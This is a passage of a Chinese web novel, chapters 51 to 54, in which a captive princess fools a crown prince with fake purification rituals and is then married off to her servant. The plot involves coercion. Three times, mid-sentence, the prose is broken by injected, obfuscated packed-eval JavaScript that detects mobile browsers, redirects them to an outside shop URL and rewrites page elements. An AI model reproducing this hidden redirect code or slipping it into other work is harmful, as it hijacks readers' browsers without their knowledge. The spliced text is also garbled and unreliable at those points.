延陵宗隽多疑的毛病又有些发芽了。这一日,他没与任何人打招呼,突然回了府,气势汹汹就杀进了主院,来看纯懿在做什么。进了院子,见院内四处扔着乱七八糟的奇怪物件,却是一片寂静,只有纯懿那个侍女孤零零站在那里,对着他行礼。 延陵宗隽目光就蓦地沉了下来:“她人呢?” 裴明心紧张地手脚都在颤抖,却强撑着不敢露出分毫破绽,懒在延陵宗隽面前,对着他解释:“刚才好不容易见到了带头的,帝姬追去与他交涉了。还请太子在此处稍侯,不要惊扰到他们。” 理由倒是不错,可她现在却偏偏正守在他内书房外门口…… 延陵宗隽皱了眉。他一把推开拦在他面前的裴明心,大步迈上内书房台阶,一脚踹开了门。 51. 第 51 章 书房内靠墙立着一排高大的书架,上面摆着寥寥几本书,也都是乱七八糟的胡乱堆着。正中间是一张巨大的桌案,包着一圈纯金桌边,金光闪闪晃得人眼晕,桌面上随意丢着几本半合的书册,是昨夜延陵宗隽看了一半没了耐心,随手扔在那里的。 却没有人。 延陵宗隽眯起眼睛细细打量一圈,的确是没有人。就连书架上那些许久未动的书本和桌案上他丢下的奏本,似乎都是平日模样,没有被人动过的痕迹。 难不成是他想错了? 就在延陵宗隽紧皱着眉头在屋内不住打量时,忽然,身后传来一道轻柔的声音,惯常的温和中带着些许惊讶:“太子?您回来了?” 延陵宗隽回头,见纯懿正站在他身后,左手提着一篮子不知道什么草,右手捧着那块形状怪异的铁牌,头发有些蓬乱,一圈裙摆的颜色也明显要比下裙深上一些,湿哒哒的样子。 延陵宗隽手指暗暗捏紧了腰间刀柄,粗声喝道:“你去哪儿了?干啥去了?” 纯懿脸上就带上了些无奈的笑,朝着延陵宗隽走了几步,将手里篮子朝他面前递了递:“刚刚正好遇到了那个有些威望的……” 纯懿似乎生怕被谁听到似的,小心地将“鬼”字隐去,然后继续道:“我去与他谈了谈,不过他的怨气很深,可能不太好处理……喏,您看,这牡荆都成什么味儿了。” 不用纯懿说,在她将篮子递到延陵宗隽面前时,他就被一股恶臭的味道逼退了半步,捏住了鼻子,满脸嫌弃地离远了一些,不住挥手:“这是啥东西,离爷远一点儿!” 纯懿有些抱歉地收回篮子,耐心解释:“这是牡荆枝条。大庆古籍中记载,‘而仙方用牡荆,云能通神见鬼。’见过鬼神之后,牡荆原先的清香就会变为恶臭,鬼魂的怨念越深,臭味就越浓烈。” 延陵宗隽完全没听说过这么个东西,可见纯懿一副饶有介是的严肃样子,不由有些将信将疑。本想继续追问两句,那臭味却一丝一丝一个劲儿朝他鼻子里钻,让他实在忍受不了,便改了主意:“快滚远点,该聊该谈,赶紧给爷把那些玩意儿弄走!” 纯懿俯身应下,倒退着走了两步之后,挎着那篮牡荆转身离开。 延陵宗隽视线一直跟着纯懿的背影,面上表情变幻无常,不知在想些什么,直到纯懿转过院门,彻底消失在他的视线里,延陵宗隽才重新迈入内书房的大门,却没有坐下,而是在屋内缓缓踱步,细细检查着每一样物件,寻找着是否被人动过的蛛丝马迹。 纯懿回到主院,心脏还“砰砰”跳个不停,只觉胸口藏着的东西烫得灼人,让她只想立刻就回她的小院去,将这东西藏好才放心。可她不敢表现出丝毫异样,仍然故作镇定继续着她的“仪式”,直到差不多到了晚上她惯常结束的时间,才慢条斯理收了东西,步伐轻缓离开了延陵宗隽的主院。 甚至还不忘去与延陵宗隽打了个招呼。 等回到屋里,纯懿强撑出的镇定顿时烟消云散。她脚步匆匆,几乎是小跑着回到屋内,从怀里掏出几张纸,仔细叠好塞进衣柜最下面,又用衣裙严严密密压在上面,确定看不出来异样,这才彻底松了口气。 今日有所收获,纯懿心情很是不错,连晚饭都多吃了几口,就是躺在床上,她唇畔也带着笑意,在心里想着后面的计划。可她的好心情也并没能持续多久,很快就终止在突然出现在她面前的延陵宗隐身上。 延陵宗隐居高临下,微微躬身俯视着她,唇边带着嘲讽的笑意:“我一直都很好奇,你是怎么骗我那个太子兄长的。” “应身神女?纯净之体?净化仪式?”他冷嗤,“纯懿帝姬,你的骗术倒是不分对象的高超,还真没有让我失望。” 纯懿缓缓拥被起身,后背靠在冰冷的墙壁上,一双带些褐色的眸子沉静看着他,开口却是:“那日你在?那你就看着他强迫于我?” 延陵宗隐脸上笑容消失殆尽。他面无表情的时候脸色总是格外可怖,一双黑眸视线阴鸷,牢牢盯着纯懿精致的小脸,咬牙切齿:“你不是要做我嫂嫂吗?这种事……多一次少一次的,又有什么关系?我说过,我并不在乎。” 他话说的豁达,脸上表情却截然相反,黑云笼罩,颊侧肌肉一紧一紧的,看着像是要杀人。待看到纯懿垂下脑袋,抿紧了唇不再开口,似乎是默认,延陵宗隐的怒气翻涌更甚。 他不由自主的在脑海中勾勒着,想象着:纯懿那副完美玲珑的身子,那娇弱祈求的哀哀姿态,惑人得让人恨不得将命都给她,她在延陵宗隽那个大老粗榻上,也是这样的吗?她的那般美丽风情,之前有一个陆双昂,现在又多了一个延陵宗隽吗? 越想越控制不住,延陵宗隐恨得磨牙,忽然伸手撕开自己衣服,单腿跪在纯懿身侧,就要欺身而上。 纯懿吓了一跳,双手撑在他肌肉坚实的胸膛上,阻止了他的动作,满脸哀求看着他,小声道:“别,我还疼……” 她颊上遍染通红,声音也越来越低,与延陵宗隐的粗喘交缠在一起,几乎听不真切:“……有血。” 延陵宗隽愣了一下,视线下意识就朝纯懿身下扫去。 纯懿更加羞恼,一时着急,细手伸到他下颌处,掐着他的下巴强行抬起他的脑袋,怒道:“你看什么呢!” 呵斥完了,她忽然发觉自己这动作着实大胆,急忙又将手缩了回去,小心觑着延陵宗隐的脸色。 延陵宗隐也没想到纯懿会直接上手硬掰他的头。他面沉如水,默然看着她。 纯懿有些心虚:“那天你太……我真的还疼。” 她一边说着,一边不时抬眼偷看他,这般有些贼眉鼠眼的样子落在延陵宗隐眼中,却只觉她像一只可怜又可爱的小兔子,让人不由就想要去逗弄一下。 延陵宗隐恶趣味顿起。他故意还板着脸,想要说些狠话吓唬吓唬她,纯懿却误会了他冰冷的神情。她忽然低声说:“我没让他碰我。” 延陵宗隐一怔,下意识问:“什么?” 纯懿又羞又怒,挥起拳头用力砸他敞开的胸膛:“你是不是有病?听到了还问什么?” 延陵宗隐扬手,大掌轻而易举就包住纯懿小小的拳头,阻止了她的动作。 滑腻刚一入手,延陵宗隐就不舍得放开了,便将她的手握在掌心,面上还绷着,唇角却控制不住地微微向上翘起:“真的?” “爱信不信。”纯懿没好气地挣脱,“怎么,您今晚还要来吗?如果您有需要,与其让您使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914826|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出些我受不住的手段,还不如我全力配合。给我些准备时间成吗?” 纯懿语气不怎么好,又快又急说完,便掀开被子要下地。可脚踩刚一触到地面,就双腿一软,朝着冰冷坚硬的地上歪了下去。 一只大手适时揽上她的腰,阻止了她下坠的动作,又将她重新拖回床上。 纯懿被紧紧压在延陵宗隐怀里,抬头直视着延陵宗隐黑沉的双眸,气得双唇不住颤抖:“延陵宗隐,你要不要这么着急?连准备的时间都不肯给吗?” 纯懿这么咄咄逼人,延陵宗隐脸上就有些不耐烦。他浓密的墨眉皱起,一只手压制住她的挣扎,另一只手捂上她的眼睛,强迫她闭目:“身上疼还不消停会儿,还到处折腾什么?睡觉!” 纯懿细白的手掌搭上他捂在她眼前的古铜色大掌,将他的手掌扒拉到鼻尖,露出一双圆溜溜的眼睛,很是怀疑地看着他。 延陵宗隐又忍不住想笑了。他重新将手覆上她灵动的双眸,阻挡了她的全部视线,哑声道:“睡觉。我不碰你。” 延陵宗隐倒是有一个优点:说到做到。他说不碰她,就真的没有做什么,只是揽着她一晚安眠。而这日之后,他不知道又抽了什么风,天天夜里准时出现在纯懿面前,什么也不做,只是如同这夜一般,将她抱在怀里纯纯睡觉。 他这么反常的举动,纯懿想破了脑袋也想不出这是什么意思。开始时,纯懿以为他只是突然发了好心,准备等着她好了以后继续折辱她。可十来天过去,她还是期期艾艾拿“身上疼”做借口,延陵宗隐似笑非笑看她良久,久到纯懿都觉得他早就看透了她的小心思,马上就要化身禽兽的时候,延陵宗隐却还是对着她展开双臂,微微挑眉: “过来,睡觉。” 一日一日过去,纯懿靠过去的动作越发熟练,脑子里的混沌也越来越大。终于有一晚,她依偎在延陵宗隐怀中,听着耳边延陵宗隐规律又沉稳的呼吸,感受着他紧紧揽在她腰间的炙热大掌,灵光一闪,一个念头突然浮现。 延陵宗隐,他该不会是喜欢她吧? 这个猜测突兀、荒唐,可纯懿将延陵宗隐对她的态度仔细回想,从大庆初见时的伪装、暴露真面目时的狠厉,再到北迁路上的关注、近来的容忍,尤其是延陵宗隐对于延陵宗隽和陆双昂的格外在意,都让纯懿不由地朝这个方向怀疑。 如果是这样…… 纯懿暗中沉吟。不管怎样,她先得想办法确定这个仍让她有些难以置信的猜测,到底有多少准确。 第二日,在“净化仪式”结束后,纯懿特意留了下来,求见延陵宗隽。 自从上次逮到纯懿独自在他院里游荡,延陵宗隽就再次加强了对纯懿的监视。没有什么特殊情况,他都会留在院子里,亲自看着纯懿“做法”。也因此,纯懿很容易就得到了面见延陵宗隽的机会。 “太子,”纯懿微笑着对延陵宗隽行礼,语气雀跃,“您的院子已经净化完成,现在还剩下最后一步。” 听说只剩下最后一步,延陵宗隽非常有兴趣:“最后一步是啥?” 纯懿脸上带着笑容,缓缓开口:“今夜,还请太子移步我的院子。将太子身上最后的浊气引到我的身上之后,太子便可彻底无忧。” 52. 第 52 章 到了晚上,延陵宗隽准时来到纯懿的院子,可还没踏进正屋,先被满屋子弥漫的那什么牡荆的恶臭味道呛得后退两步。他皱紧眉头,捂住鼻子,几乎想转身就走,可纯懿所说的“彻底无忧”又犹如咒语一般在他耳边萦绕不去。 延陵宗隽忍了又忍,还是迈步跨进了屋子。 屋子里却没有人。延陵宗隽有些不耐烦地开口:“人呢?” 自然没人理他。延陵宗隽一边满脸嫌弃绕开那些牡荆,一边在屋子里四处搜寻,东看看西看看,嘴里不住抱怨:“这是在搞啥?喊爷过来自个儿跑哪儿……哎呦,这啥东西!” 延陵宗隽一个不小心,一脚踏入了一个装满水的盆里。他歪了头,将湿漉漉的靴子提起来,却发现这“水”中不知加了什么,竟泛着淡淡的红色,像极了…… 延陵宗隽浑身一个激灵。纯懿这里放着的,还不知道都是些什么奇怪的东西,就这么粘在他身上,该不会有什么不妙吧? 越想越觉得有可能,延陵宗隽这下急了,也顾不得满屋子的难闻味道,急忙就在屋里找浴房。好不容易摸到了浴房外,他急切地一把推开门,迫不及待地就往进冲,可待转过屏风,看到眼前景色时,延陵宗隽顿时呆在原地,一时竟忘了要做什么。 浴房中水雾弥漫,香风馥郁,给一切都镀上一层朦胧罩纱般,影影绰绰,犹如仙境。可延陵宗隽视力不错,一眼就看到在屋子正中摆着的一个巨大的浴桶中,正有一个白皙纤细的身影,黑发垂顺而下,素手纤纤举起,正拘着一把水昂首浇下。 那水珠晶莹剔透,顺着纤长柔滑的手臂滚滚而下,隐没进惹人遐想的阴影之中。有些水珠异常调皮,溅跳到美人精致侧颜上,在她浓密睫毛和如花瓣般娇嫩的双唇上轻叩,弹跳几下之后,又落回浴桶之中,发出“叮叮咚咚”的轻响,像是乐姬弹奏的一曲乐章。 延陵宗隽向来是个看到美人就走不动道儿的,何况眼前这如同瑶池仙女一般的美景,顿时让他脑袋空空,痴迷地呆呆凝视,脚下也不由自主地朝着那边靠近。 离得越近,越是血脉偾张,延陵宗隽一双眼不住朝着摇晃的水面下探视,似乎想穿透水面,看清水下美景。可这水泛着乳白色,并不透明,上面还飘着厚厚一层花瓣,虽然落在美人洁白身体上分外迷人,可却严严实实阻隔了他不怀好意的视线,让他什么都看不清楚。 延陵宗隽心急如焚,歪斜着脚步靠近,双手扒着浴桶边缘,撩起一阵水花,故意朝着美人洒去。 这么大的动静立刻惊动了沐浴美人。纯懿吓了一跳,整个人缩靠在桶壁,将自己全身都藏进水中,只留下一个脑袋,对着一脸狞笑的延陵宗隽颤声道:“太子!” “哎,”延陵宗隽笑着应了,沿着浴桶缓慢前行,朝着纯懿逼近,“纯懿帝姬果然不负盛名,真是美丽。爷娶到这般动人的侧妃,却一直让美人独守空房,真真是爷的过错。不过别急,美人儿,爷今夜就全了我们的夫妻情分,一定好好待你,让你快活……” 一边说着,一边朝纯懿扑来。 纯懿在水中灵活转身,一转眼就躲到了另一边,小脸雪白,强笑着:“太子,净化仪式还没完,必须要保持纯净之身……” “不是马上就完了吗?!”忽然提到还差一步的净化仪式,延陵宗隽不由有些扫兴,可着到纯懿娇艳的容貌,那阵不快又飞快消散,重新露出一个猥琐的笑容来,“没事儿,让爷就过过干瘾,不打断你的仪式……” 纯懿旋身而逃。延陵宗隽似乎很得乐趣,不以为意,笑呵呵地紧追不舍,就连不时激起的水花落进他大张的嘴里,延陵宗隽也毫不嫌弃,甚至还觉得连这水都带着香味,让他更是上头。 纯懿动作再灵活,也无法与身强力壮的延陵宗隽相比,很快就体力不支。眼看着延陵宗隽的大手就要碰上纯懿雪白的肩头,浴房的窗户却忽然一声巨响,大敞开来。 夜风卷入,吹散屋内迤逦雾气,也吹凉了延陵宗隽发热的头脑。他动作非常迅速,立刻蹲身躲在浴桶之后,警惕朝着外面黑洞洞的夜色中张望,厉声道:“谁!” 一片寂静,没有人回话,连他守在外面的部曲也没有一点声息,简直像是一座空院。 延陵宗隽心里有些不安。他双手抽出腰间大刀,雪亮的刀刃指向纯懿,命令道:“起来!看看咋回事!” 被骤然点名,纯懿有点懵:“我?” 延陵宗隽将刀刃又逼近一些,几乎贴上纯懿脖颈,不耐烦地:“快去!” 在此之前,纯懿一直还担心,自己今日的举动是不是有些冒险,直到窗户忽然洞开,她这才放下心来。可眼下延陵宗隽突然的命令,又实在是出乎纯懿所料。 她没想到延陵宗隽如此窝囊又没有担当,无语了片刻,在延陵宗隽的逼迫下正准备起身,忽然,窗外传来阿上惊慌的声音:“太子!有刺客闯入府里,正在您的主院放火呢!您快去看看吧!” “你说啥?”延陵宗隽骤然起身。 既然阿上能在外面报信,说明这里没有危险,延陵宗隽这下是彻底顾不得还在水里的纯懿了,大步就朝外走。屋门“砰”的一声巨响,然后就是延陵宗隽匆忙的脚步越来越远,很快就听不到了。 院内再次安静下来。水波荡漾,时高时低,间或淹没纯懿精巧的下巴,她独自在水中思索着,忽然,一个人影从窗外跃入,又一声巨响,窗户再次被紧密阖上,熟悉的压迫之感却席卷而来,充斥了整个浴房, 纯懿抬眸,果然看到了一身肃杀的延陵宗隐。 他脸色是近来少有的不好,一双黑眸蕴含着风暴,看向纯懿的视线中比起惊艳,反而是愤怒的神情更多一些。他缓缓靠近纯懿,斜倚在浴桶边缘,将右手伸入水中,转着圈儿搅弄出一阵波纹。 “你是不是疯了?”他声音紧绷,压抑着翻涌的情绪,视线只落在铺满水面的花瓣上,并不看纯懿,“你不是很厉害吗?怎么不给他一刀?” 纯懿咬唇,默然看着他,沉默一会儿之后,才慢慢开口:“我不敢杀他。杀了他,我也必死无疑。我不想死。” 延陵宗隐闭目,深吸一口气,强自压抑了即将要爆发的情绪,忽然也学着延陵宗隽的样子,用手捧起水花,朝着纯懿劈头盖脸地洒去:“所以如果他强迫你,你会接受?” 纯懿毫不闪躲,任由水花落了她一头一脸,却也没有开口,显然是默认。 她这种态度彻底引燃了延陵宗隐强自控制的怒火。他忽然探身而上,越过浴桶,结实的双臂钳住纯懿的肩头,将她整个人定在他面前,恶声低吼:“以后他敢强迫你,你就宰了他!爷保你性命!听懂了没?” 纯懿一双眸子纯洁干净,直视着延陵宗隐黑黝黝的双眼,认真看了一会儿,忽然露了个笑容出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929113|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “我怎么信你?”纯懿微微侧头,神情中带着些天真,似乎只是单纯提出自己的疑惑,“汴京被围之时,连我父皇都能将自己的女儿送到你们虞娄人帐中,你是我的谁?我为什么要相信你说的话?” 她双手搭上延陵宗隐掐在她肩头的手腕,唇边的笑容带明显的嘲讽和隐隐的逼迫:“更何况,你所做的,和他所做的,又有什么区别?你曾经说过的,你对我并没有占有欲,也并不在乎有多少人欺辱我。二王子、宗隐郎主,你说过的话,我记得很清楚。” 延陵宗隐气结。他曾经是说过这样的话,虞娄民风开放,荒唐的时候,就是几人共入一房的事情也经常发生,那个时候,他并不在乎女子的贞洁,自然也包括纯懿。 现在,他依然不在乎女子的贞洁……比如要成为他元妃的唐括额尔。可他的东西,他却是从来不肯被别人觊觎分毫…… 比如纯懿。 纯懿仔细观察着延陵宗隐的神情,察觉时机已到,唇边含笑,淡淡送出最后一击:“或者说,宗隐郎主变卦了?你不想让别人碰我,因为……” 不必说的太透,纯懿适时噤声,一双眸子水波潋滟,似笑非笑看着面沉如水的延陵宗隐。 延陵宗隐暗暗咬牙,眸光如同要吃人的猛兽一般,死死盯着纯懿。可看着纯懿似乎看透一切、渐渐带上些嘲讽和挑衅的神情,延陵宗隐又觉得自己的威严被她踩在脚下,整个人彻底落在了下风。 “你是不是疯了?”他骤然松开钳住纯懿的手,猛然起身,冷笑,“爷只是担心,上次一时失态,没有给你送药过来,你若是又与别人亲热,然后把野种栽在爷的头上,爷说都说不清楚!你……” 延陵宗隐忽然闭了嘴。他行事从来随心所欲,从不屑于向人解释,很少遇到这般不知该如何掩饰的事情,一时口不择言,就捡最恶毒无情的话来说。可看到纯懿骤然苍白的脸色和颤抖的双唇,他忽然又觉懊恼。 明明不是这个意思…… 延陵宗隐胸膛剧烈起伏,与纯懿对视片刻,然后猛然收回视线,转身就走。堪堪要走出浴房,他却忽然停下脚步,也不回身,用陈述事实的语气,冰冷道:“陆双昂并不在南庆军中。你见过他?” 纯懿被他刚才的话刺得心中骤疼,现在听他又忽然提起陆双昂,更是恼怒交加。 “没有。”她的声音比他更冷,没有一丝感情,“若是见过他,你以为我还会留在这里?” “很好,”延陵宗隐背影高大,脊背笔直,轻哼道,“我会再次打败南庆军队,找到他,杀了他。至于你……” 他肃声命令:“你最好心里有点数,别让别的男人近身,尤其是延陵宗隽。” 纯懿一句也不肯退让:“我没有办法。” 延陵宗隐嗤笑一声,转身看向满脸怒容的纯懿,挑眉:“我知道你有办法。不用很久,只要两天。两天之后……” 他意味深长收了声,深深看一眼纯懿,转身大步离开了。 纯懿不知延陵宗隐又有什么打算,可这一次,他没让她等太久。 消失了两日之后,延陵宗隽气哼哼地踏入纯懿的小院。他以一种诡异的眼神打量纯懿良久,露出一个扭曲的笑容:“你抓紧给我做完那什么仪式,就赶紧收拾东西滚蛋。” “老子把你转赠给别人了。你准备准备,嫁人去吧。” 53. 第 53 章 纯懿万万没想到,延陵宗隽会说出这样的话。她怔愣了半晌,才迟疑着问道:“谁?” 虽然这般问,她心里却已经有了一个猜测,只牢牢盯着延陵宗隽的双唇,半是无奈半是绝望地等待着答案。 延陵宗隽露出一个不怀好意的笑容来。他上下打量着纯懿,“啧啧”两声:“你们庆国是不是有一句话,叫啥暴啥物啥的,老子这下是真体会到这个意思了。帝姬这般美貌,配给那人,真是浪费。若是以前,嘿嘿,怎么地老子也得先尝尝你的味道。不过……” 说着说着,延陵宗隽似乎想到了什么,脸上笑容渐渐扭曲,带着种恶劣的快意:“不过……你到底是怎么惹了老二?爷还以为你俩有私情,没想到他竟然这般羞辱你,要我将你送给你那个奴才……叫啥来着,阿上还是阿下的?” 这下,纯懿是真的震惊了。她有些不敢相信自己的耳朵,迟疑着重复:“谁?阿上?” 延陵宗隽大笑着点头。他一双浑浊的眼睛牢牢盯着纯懿,满怀期待等待着纯懿露出绝望的神色来:“听说他以前还是个乞丐?帝姬配乞丐,真是……啧啧啧。” 他的“啧啧啧”还没完,却见纯懿神色一松,没有一点儿恐慌哀恸的表情,反而似乎还放下了心来,脸上甚至带上了一丝浅浅的笑容。 “是,我明白了。我这就收拾东西,尽快出嫁。”纯懿努力控制着不露出喜悦的神情,对着延陵宗隽行礼。 如果真让她嫁给阿上,那可真是太好了。之前为了从王宫脱身,她只能假借太子延陵宗隽的力量,来到太子府与变态的延陵宗隽周旋,她还正在发愁要如何离开太子府呢。却没想到,现在这么轻易就得了机会可以离开,她自然不肯放过,恨不得立刻就背上包袱走人。 纯懿如此镇定,延陵宗隽反而不得劲儿了。帝姬被强迫嫁给一个乞丐,在他的设想中,纯懿应该凄惨哀求他留下她,或者因冲击而痛哭失声,可她这般红光满面的期待神情,是怎么回事? 想到延陵宗隐来找他时,那副虚伪的微笑下带着不容拒绝的胁迫的讨厌神情,延陵宗隽就一肚子窝火,本想着靠目睹纯懿的绝望出一口气,这下,却彻底被这两人搞糊涂了。 他很是怀疑地打量纯懿,心里疑窦丛生:他不愿遂了延陵宗隐的意思,故意将纯懿转赠给那个小乞丐阿上,该不会反而正正好遂了延陵宗隐两人的心意吧? 延陵宗隽憋了一肚子闷火走了,而那边,黑塔也非常愤怒地当着延陵宗隐的面骂人:“太子真他娘的不是个东西!您为了换帝姬入府,允诺您的部曲将全力支持他继承王位,这是多绝的条件!他竟然还不识好歹的不肯同意!不同意就算了,他还在帝姬面前说胡话污蔑您!真是没有天理!” 延陵宗隐上身赤裸,肩膀宽阔,肌肉坚实,胸膛上却赫然一个血口子,鲜血不停从伤口中涌出,很快就染透了厚厚的白棉。 延陵宗隐垂目看着狰狞的伤口,脸上却不露一点痛意,反而唇角舒展上扬,带着愉悦的笑容。 他淡淡开口:“我连收继婚这般的话都说出来了,太子自然愤怒。他不肯遂我的愿,却又不得不同意放那女人出府,去找她胡说两句挑拨拱火,很正常。” 黑塔想到延陵宗隐当时面色轻松,黑眸中却杀意毕露,寒声对延陵宗隽说,“大兄不愿也无妨,反正我们虞娄自来有收继婚的习俗,若是大兄哪日亡故,我继承您的妻妾,也是很正常的。您说是吧?”的样子,不由哑声。 自家郎主那副不将太子放在眼里,直接就上去用最轻巧的语气、说最强硬的要挟的样子,的确是……挺招人恨的。 日则医官神色紧绷,一直忙前忙后帮延陵宗隐处理伤口,听这两人你一句我一句的讨论,忍了又忍,实在忍不住了。他瞅了个空档,弱弱开口:“可是郎主,既然您知道太子不痛快,他说要换帝姬入府就要刺您一刀,这您怎么也不应该同意啊。这伤口这么深,再用力几分就要伤到心脉了,太子这一刀可没有手下留情。” 延陵宗隐心情不错,也没有计较日则医官的多话。他浓眉一挑,轻描淡写道:“一刀而已,我还受得住。他在我这里撒了气,就不会去找旁人发泄了,若是换了别人……” 他带着轻笑缓缓摇头,颇有些无奈的样子,眼角眉梢却隐隐带着些从未见过的柔和。 黑塔看着自家郎主这幅样子,一时觉得辣眼,一时又气得唾沫横飞,眼睛瞪得老大:“您为了帝姬,又是舍下重诺,又是挨了一刀,帝姬却还一心以为您要辱没她,故意将她与那小乞丐凑作一堆。不行,等帝姬入府,我一定要告诉帝姬真相,不然帝姬被蒙在鼓里,您多冤啊!” 延陵宗隐横他一眼:“多话。名义上的事而已,太子爷都不在意,何况一个小乞丐?” 他又垂眸,看着猩红可怖的伤口,微笑道:“反正……来日方长。” 延陵宗隐挨了一刀都心情极好,别人却不一定了。纯懿正忙着收拾东西,忽然,一个身影“噔噔噔”跑进来,像一颗炮仗一样蹦到纯懿身边,大力扯着纯懿的袖子,拉着她就要往院外走。 纯懿惊讶之余,看清面前的人,颇有些无奈:“七王子,我现在有点忙,你先自己坐一会儿,好吗?” “不好。”延陵宗覃一张小脸板的死紧,拉着纯懿的手指因着过于用力而泛着白色,气哼哼的,“阿兄怎么能这样?怎么能把你送给你身边的奴才呢?不行,你不能走,你跟我去找阿兄,我们让他收回命令!” 一边说着,一边又要拉着纯懿出门。 这小少年一片赤诚之心,纯懿也不忍心呵斥他。她使劲儿挣脱了他拉着她的手,微微躬身,将视线与他气恼的眸子落到同一高度:“你愿意帮我,我很感激你。但是七王子,要嫁给阿上,我并不委屈,我愿意的,真的。” 纯懿直视着延陵宗覃有些发红的眼睛,格外认真地点了点头,又强调一次:“真心的。” “怎么可能!”延陵宗覃语速极快,梗着脖子,立刻反驳,“他是你的奴才,听说以前还是乞丐,你可是帝姬,怎么能嫁给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943347|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的人呢?!不行,我不允许!” 他坚信纯懿是在安慰他,越说越急,最后急的直跺脚:“你要嫁给我阿兄的,他可是太子!要是阿兄不成,不是还有我二兄?他也是郎主,我们虞娄威风赫赫的大英雄!就是二兄也不行,也有……也有……” 延陵宗覃忽然卡壳。他“也有”了半天,也没说出也有什么,最后还是执拗地牵起纯懿的手,不肯放弃:“不行,你一定要跟我去找阿兄,说清楚我才肯让你走!” 纯懿没想到这小少年执拗起来如此听不进话。她严肃了语气,第一次喊他的名字:“延陵宗覃。” 延陵宗覃一愣,转身呆呆地看她。 纯懿看他被唬住了,心下微叹。她语调一如既往的温柔,轻轻缓缓的,如同一汪清泉,轻易就拂去了延陵宗覃心中烦躁:“我没有怪你阿兄。不管为了什么,他愿意让我出府,我是真的很感激。” 这次应该是来得匆忙,延陵宗覃没有带鲜花来。纯懿环顾四周,抬起手臂,随手从院中摘了一朵迎春,仔细别在延陵宗覃耳边。少年眉目俊朗,英气勃发,头发按着虞娄发式扎成一头小辫,配上耳边开得绚烂的迎春,也别有一番韵味。 纯懿端详他良久,抿唇一笑:“这次,我是真的要走了。你要好好照顾自己,好好学本领,知道吗?” 延陵宗覃唇角向下耷拉着,瘪着嘴,一双手不情不愿地被纯懿挣开,十指在身后拧成一团,却没有再喊着要拉纯懿去找延陵宗隽。 纯懿站直了身子。她对着延陵宗覃露出一个温柔的笑容来,神情中却带着几分延陵宗覃从没有见过的雀跃,对着他挥手:“再见了,七王子。” 延陵宗覃看着纯懿转身离开,再没有回头。 少年觉得被忽视了,又有种不知从何而来的被抛弃的感觉,心里很不好受。他用力眨了眨眼睛,将耳边迎春花摘下,紧攥在手心,垂眸看了一会儿那耀眼的黄色,纯懿刚刚那鲜活的模样却渐渐落在迎春花上,让他忽然释然。 算了。 延陵宗覃想,反正也是在上京,他们总是还能见面的。下次见面时,他一定要让纯懿给他泡三杯茶水……不,八杯,他才能原谅她。 反正……来日方长。 得了延陵宗隽的允许,也与延陵宗覃告了别,纯懿用最快的速度收拾了自己的东西,离开了太子府。跨过太子府门槛时,天色已晚,纯懿抬头回望太子府气派的大门,忽然想到她们第一次来到太子府时,被延陵宗隽扔在门口、又吃了好一通闭门羹的窘迫,不由露出一个笑容来。 右手轻轻搭上胸口,贴身藏着的几张纸仿佛在灼烧着她的皮肤,让纯懿心中满是激动雀跃。她从太子府出来了,还拿到了这个…… 这一趟苦心周旋,精心谋划,也不算白来。 纯懿扭头,再不对那高高悬挂的“太子府”牌匾投上一眼,招呼身旁的裴明心和阿上:“我们走吧。” 以后的日子,要做的事情还很多。不过没关系,反正……来日方长。 54. 第 54 章 虞娄靠北,全境苦寒,就是即将春至,路两边的树干也大多是光秃秃的,只有极少数朝南的树枝上萌出一些新叶,却因着稀疏而不像绿色,更像黄色。间或一阵寒风卷过,这些还未成长的小叶子被席卷而下,在空中旋转,又飘然而落,在昏黄的霞光中,平添了些萧瑟。 纯懿看着这幅场景出神,恍惚间,竟然似乎又回到了大庆灭亡之前。每个秋日,落叶纷纷而下之时,汴京城的贵女们总是喜欢办一场秋宴,大家围坐在一起,赏秋景,品诗文,好不快活。显德帝姬总是最欢快活泼的,嘉荣帝姬都是温温柔柔的笑,陆双昂总是会陪在她身边,不管别人的调侃玩笑,给她一个依靠的肩膀。 汴京啊…… “况属高风晚,山山黄叶飞。阿上,你不会永远是我身边一个小小侍从,你是你自己,这一辈子要为自己而活,不能总是顶着别人的身份和名字。”纯懿回头,看向神情有些别扭的阿上,对着他安抚一笑,“晚飞,这个名字,你喜欢吗?” 阿上怔怔抬眼,对上纯懿温柔似水的眸光,却像忽然被烫到一般,立刻移开视线。 “我……”他听到自己的声音,不受他控制地颤抖着,“帝姬赐名,是我的荣幸。” 纯懿摇头:“我是问,你喜欢吗?你自己,喜欢吗?” 